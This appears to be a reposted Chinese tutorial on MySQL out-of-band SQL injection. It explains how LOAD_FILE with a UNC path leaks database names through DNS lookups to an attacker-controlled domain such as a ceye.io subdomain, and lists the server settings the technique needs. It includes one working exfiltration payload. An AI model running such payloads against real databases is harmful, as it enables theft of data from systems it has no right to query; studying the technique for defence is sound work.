mysql 帶外注入


帶外通道


有時候注入發現並沒有回顯,也不能利用時間盲注,那么就可以利用帶外通道,也就是利用其他協議或者渠道,如http請求、DNS解析、SMB服務等將數據帶出。

 

payload


 SELECT LOAD_FILE(CONCAT('\\\\',( SELECT DATABASE() ),'.xx.xx\\x));

其中的load_file的地址為一個遠程文件,mysql在load_file()一個遠程文件時會發送dns請求包去解析,所以可以帶出數據,'\\data.xx.xx\x' ,xx.xx為自己的服務器名,沒有的話可以去這里申請一個 ceye.io 

 

mysql帶外注入條件


1. mysql.ini 中 secure_file_priv 必須為空

( ps. 修改mysql.ini 文件,在[mysqld] 下加入 secure_file_priv =   )

mysql 新版本下secure-file-priv字段 : secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。

  • 當secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出

  • 當secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下

  • 當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制

 

2. 從payload看出load_file的路徑是windows下的UNC路徑,所以mysql帶外注入只能發生在windows機器上

UNC路徑

 

測試


 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM